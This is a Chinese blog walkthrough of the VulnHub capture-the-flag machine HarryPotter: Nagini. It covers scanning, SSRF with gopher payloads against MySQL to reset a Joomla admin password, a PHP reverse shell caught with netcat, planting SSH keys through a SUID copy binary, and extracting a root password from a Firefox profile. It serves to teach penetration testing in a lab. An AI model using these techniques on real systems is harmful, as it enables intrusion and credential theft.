作者名:Demo不是emo
主页面链接:主页传送门
创作初心:对于计算机的学习者来说,初期的学习无疑是最迷茫和难以坚持的,我也刚接触计算机1年,也在不断的探索,在CSDN写博客主要是为了分享自己的学习历程,学习方法,总结的经验等等,希望能帮助到大家
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构每日emo:波力海苔,大白兔奶糖,奥利奥
今天的博客内容是HARRYPOTTER: NAGINI教程(简单难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场平台入口在这,推荐大家使用,大家进去直接搜索HARRYPOTTER: NAGINI就能下载今天的靶场了,也可以找我拿,开始对今天靶场的介绍
这是哈利波特vm系列靶场的第二个靶场,总共有三个靶场,其中隐藏了8个魂器,上一期的第一个靶场中隐藏了2个魂器,今天这个靶场中隐藏了三个,意思就是今天的靶场有三个flag,话不多说我们来见识见识
靶场地址HarryPotter: Nagini ~ VulnHub
一:攻击准备
直接在vbox导入就可以,如果出现了报错,就把启用usb控制器关掉就可以正常打开了
这里除了到vulnhub下载到的目标虚拟机环境,还需要一台kali,并且两台处于同一网段(可以都用桥接模式),虚拟机管理设备用vm和virtual均可,我这里就用virtual来给大家演示了,如下面这样就是搭建完成了,具体搭建过程就不多讲了,不懂得也可以私信问我
(因为我这是校园网,有防护所以c段不同,这里都用桥接模式即可,而且靶机也显示了ip地址,不一定要跟我一样,只要能ping通就可以进行靶场操作了)
二:信息收集
这里看到,我的kali攻击机的ip是172.21.100.73,而目标机器的ip是172.21.13.189,既然知道了对方的ip,我们就直接用nmap扫描工具详细扫描一下,扫描结果如下:
可以看到我们这里成功探测到了目标开放的22端口和80端口,,还有操作系统版本,中间件版本等信息,那下面就是从这些端口入手了,看能不能找到一些有用信息
1.网页信息
根据上面的扫描结果可以看到对方开启了22端口(ssh服务)和80端口(http服务),因为ssh需要用户名等敏感信息,所以我们就先探测对方的http服务,即通过目标的ip访问目标搭建的网页,访问结果如下:
可以看到目标网页中只有一张图片,而且f12开发者页面也没有什么提示信息,靶场中出现的图片大概率存在了隐写术,我们用wget命令下载这个图片到本地,再用steghide工具(一款开源的隐写工具)使用info参数查看图片,步骤如下:
可以发现提取图片中的数据时提示需要密码,因为我们没拿到,所以这里对隐写术的探索就先暂停了,老规矩,再来探测一下目标的敏感目录
2.目录探测
这里我们使用kali自带的dirsearch目录爆破工具 (个人觉得很好用),命令如下
dirsearch -u "目标ip地址" -e *
扫描结果如下
注意:这里有的人找我反映扫不出来note.txt这个文件,这是因为这款工具的默认字典里没 有, 但是我的dirsearch的字典自己加了一些字典进去,所以能扫出来,无伤大雅
3.joomscan工具
这里可以看到有用的信息只扫到了一个note.txt和joomla文件,度娘查了一下,joomla是一个cms框架,并且kali上还有对应的工具joomscan(一款开源的jooomla的cms框架漏洞检测)
我们这里输入下面这个命令,就可以对该站点进行漏洞扫描
joomscan --url 172.21.13.189/joomla
扫描结果如下:
可以看到我们扫出了很多joomla的小文件,很多都是在joomla/administrator目录下的,猜测是后台登录页面,访问试试
** **不过我们暂时不知道账密,先放在一边,继续分析其他的
这里还爆出来了一个备份文件,我们直接下载下来看看
这里得知了目标使用的是mysql数据库,用户名为goblian ,没有密码,
4.敏感信息
我们再来看看note.txt 的信息,访问一下看看
翻译过来大概就是下面这个意思
就是讲有一个域名,需要我们用http3来访问,这应该就是作者留给我们的下一步的信息了,但是http3环境我安装了一下午也没搞好,没太搞懂,这里就跳过了搭建http3服务器的步骤了(在线求http3搭建教程)
http3服务器搭建好之后,再用http3访问上面作者留下的网址,访问后就是如下的一段html代码
注:这里的http3服务器只是为了访问给出的网址,获取信息,所以小伙伴们在玩的时候可以直接跳过这步,直接看我下面获得的信息就可以了
这里的信息意思就是说有一个internalResourceFeTcher.php目录,我们直接尝试访问一下
三:实际操作
1.SSRF漏洞
访问的结果如下
可以看到这是一个内部网络资源获取界面,所以首先我们要想到的就是SSRF漏洞,所以先用该站点对127.0.0.1发起请求,看是否能收到回显
也成功读取,说明目标并没有对伪协议进行过滤,那我们就可以用万金油协议——gopher
2.gopherus工具
gopherus是一款生成gopher链接来帮助我们利用SSRF和获得RCE的工具,当然,使用的前提是一个地方验证了SSRF漏洞,而且gopher协议又没被过滤
1.下载
wget http://github.com/tarunkant/Gopherus/archive/refs/heads/master.zip
2.解压
unzip master.zip
注意:该工具需要python2的环境才能运行
给大家详细讲讲上图指令的意思
1.生成攻击mysql的payload(即gopher链接)
python2 gopherus.py --exploit mysql
2.输入目标用户名
3.输入想在目标数据库执行的指令
列如我上图的 use joomla;show tables;
就是查看joolma库下的所有表
因为刚才在备份文件中已经发现了库名为joomla,所以我们这里就直接从表名开始查
4.就可以生成一个gopher协议的链接,将链接放置在SSRF漏洞处,目标数据库就会执行
我们填写的指令,并显示回显内容
现在我们就把生成payload放入SSRF漏洞处,结果如下:
注:靶场的环境有一点点问题,如果没有回显就多刷新几次就可以看到回显了,后面的同理
成功找到了一个user表,猜测里面存在用户信息,所以我们再生成一个查数据的payload
** 步骤如下:**
查询结果如下
可以看到我们成功获取了管理员的账号和密码,账号是** site_admin,密码是<$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay**
本来以为这个密码是个简单的md5,结果经过我十几分钟的探索后,果然,我放弃了,这有点太复杂了
不过我仔细想了想,我们通过gopher可以让目标执行我们对数据库的命令,那我们直接让对方修改密码不就行了?步骤如下
1.先找个我们想用的密码,获取它的md5值
echo "root" |md5sum
我这里用的时root,这个随便就行
2.再用数据库命令将该md5值替换刚才的密码,填写的指令如下:
use joomla;update joomla_users set password="你自己刚刚生成的md5值" where username="site_admin";
老规矩还是拿去利用SSRF执行
可以看到密码已经更改成功了,这时候我们有了管理员的账密,那前面我们找到的后台页面现在就起到作用了,我们直接尝试登录
成功登录网站后台
3. 拿到webshell
一般登录网站后就要想办法拿到网站的权限,也就是webshell了,通常来说就是找上传点,上传反弹shell或者一句话木马,这里我们就用反弹shell的木马就行,跟着下面的图例走就可以到达上传点
在这里点击new file后将上传格式选择为php,file name就是上传之后保存的文件名,自己随便定就好,最后点击create就可以创建一个空的php文件
此时也可以看到a.php中并没有内容,这时候再把我们准备好的反弹shell的php代码放上去
放上去后点击左上角的save即可保存
** 注:这里的反弹shell的文件可以去网上找,也可以用kali上自带的,在/usr/share/webshell/php目录下就是kali自带的反弹shell的php文件,但是使用前要记得改反弹的ip和端口号,**再复制到你自己创建的php文件中就可以了
上传之后文件保存在
http://靶机的ip地址/joomla/templates/protostar/你刚定的保存的名字.php
比如我的,就是访问http:// 172.21.13.189/joomla/templates/protostar/a.php
在kali新开一个终端用nc监听反弹shell的php文件中自己设置的监听端口,比如我设置的就是1234, 所以就输入
nc -lvp 1234
再访问上面说的文件保存的地址,此时就可以收到反弹的shell了
可以看到这里已经成功拿到了webshell,但并不是交互式的,有很多东西都做不了,所以我们还得获取交互式的shell,看了一下,目标靶机存在python3的环境 ,所以我们这里就用python3来生成了,代码如下:
python3 -c "import pty;pty.spawn('/bin/bash')"
使用效果如下:
可以看到这里离成功拿到交互式shell,并且在kali的根目录(var/www/html)发现了本关的第一个魂器(horcrux1.txt),并将它用base64解码,得到线索
3: SlythEriN's LocKEet dEstroYeD bY RoN
4.普通用户权限
靶场的线索,一般特别喜欢放在根目录和家目录下,根目录我们刚刚已经看了,现在来看看家目录,我们cd到home下,发现有两个用户,hermoine用户和snape用户,我们先看看hermoine用户
发现hermoine用户下存放着第二个魂器,但可惜我们此时没有权限打开,所以就只能再去看看宁一个用户了,探测到的信息如下
成功发现了一个隐藏文件creds.txt,并拿到一串base64加密过的信息,直接解密发现结果是Love@lilly,看着啥也不像,但是这个文件是在snape用户下找到的,并且最开始探测到开启了ssh端口,所以我猜测这应该是snape用户的密码,所以直接su切换到snape用户试试
可以看到这里成功登陆了,就代表密码没问题,也拿到了snape的权限,接下来的操作还是老规矩,继续横向或纵向渗透
因为刚才我们看到本机有两个用户,而我们只拿到了snape用户的权限,所以我们应该首先考虑拿hermoine用户的权限
5.ssh公钥登录
** 拿到普通用户的权限,首先应该查看的就是哪些可以使用suid权限,其次就是在历史命令中找线索,这也是同学们在玩靶场时的一般流程**
这里我们先看看哪些文件具有suid权限,输入下面这个命令即可查看
find / -perm -u=s 2>/dev/null
查看到的结果如下
可以看到在hermoine用户下存在一个su_cp文件,我们cd到该目录下载详细看看
可以看到该文件的作用是拷贝文件,意思就是我们可以复制文件到hermoine用户下 ,再联系到刚才ssh端口的开放,怎么样?横向渗透是不是有思路了?
这里我的想法是在攻击机生成密钥对,把生成的公钥复制到hermoine用户的ssh目录下保存,这样就可以直接用ssh公钥登录hermoine用户,而不需要密码
**想要详细了解ssh公钥登录的同学也可以先看看下面这篇博客,后续我也会出一篇博客详细介绍 **
点此查看我推荐的博客
注:这里不看也不影响本靶场操作,简单点说公钥登录就是 自己生成密钥对(即公钥和私钥),私钥自己保留,公钥可以放在自己想用ssh登录的主机,这样用ssh登录时就不需要密码(实际流程比较复杂,这里就这样理解就可以了)
具体操作如下:
kali攻击机上输入
1.ssh-keygen
生成密钥对(默认生成路径在/root/.ssh),这里一直回车即可生成,会生成一个id_rsa(私
钥)和id_rsa.pub(公钥)
2.scp /root/.ssh/id_rsa.pub [email protected]:~/
将公钥投递到目标机器,这里因为hermoine用户我们不知道密码,暂时无法连接,所以就先投递到snape用户下,这里的~/目录其实就相当于/home/snape目录
再控制目标的终端输入
3.chmod 640 id_rsa.pub
赋予公钥执行权限,注意这里要先进入/home/snape才能看到公钥
4.mv id_rsa.pub authorized_keys
改公钥的文件名,这是规定,不然会连不上
5./home/hermoine/bin/su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/
使用su_cp把snape上的公钥放到hermoine用户的ssh文件下,这个命令输入后可以查看一下/home/hermoine/.ssh/是否有该文件
步骤图
kali上执行的操作如下
**kali控制的靶机终端执行的操作如下 **
可以看到公钥已经成功放入,我们现在来直接ssh连接尝试登录hermoine用户看
可以看到,成功登录hermoine用户,并且拿到了第二个魂器(horcrux2.txt),也是一个base64加密,解密后为
4: Helga Hufflepuff's Cup destroyed by Hermione
6.root提权
在hermoine用户下,我们不仅发现了本关的第二个魂器,还发现了.mozilla文件,我们老师以前也提到过这个文件,这个文件里面包含有火狐浏览器各种信息乃至账密。恰好github上也有专门提取该文件信息的工具——Firefox Decrypt,所以我们把他下载下来再用这个工具提取一下信息看看
**步骤如下 **
1.scp -rp [email protected]:/home/hermoine/.mozilla/firefox /root/demo
下载该文件到kali攻击机
2.wget https://github.com/lclevy/firepwd/archive/refs/heads/master.zip
下载firepwd工具
3.cd firepwd-master
进入工具文件夹
4.sudo pip install -r requirements.txt
下载所需模块
5.cp firepwd-master/firepwd.py demo/firefox/g2mhbq0o.default
将脚本复制到要读取数据的火狐文件中
6.cd demo/firefox/g2mhbq0o.default
进入保存数据的火狐文件
7.python3 firepwd.py
执行脚本,读取数据
最后读取的结果如下,可以看到账号名和密码都被读取出来了
既然账号名是root,那这应该就是root用户的账密了,我们直接su root切换root用户试试
可以看到成功登陆了root用户,在用户目录下存在了第三个魂器,也就是horcruxes3.txt,经过base64解密后为
5: Diadem of Ravenclaw destroyed by Harry
这也是哈利波特系列靶场的第五个魂器(共8个),到这里这一关就算是结束了,如果你也看到了这里,请你也给自己点点赞吧(这关确实有点难)
哈利波特系列靶场的第三关(也就是最后一关)的攻略我过两天就会出,敬请期待,最后感谢大家的阅读,有什么问题或者想讨论的知识随时都可以评论或者私信找我哦,加油哇同学们!
版权归原作者 Demo不是emo 所有, 如有侵权,请联系我们删除。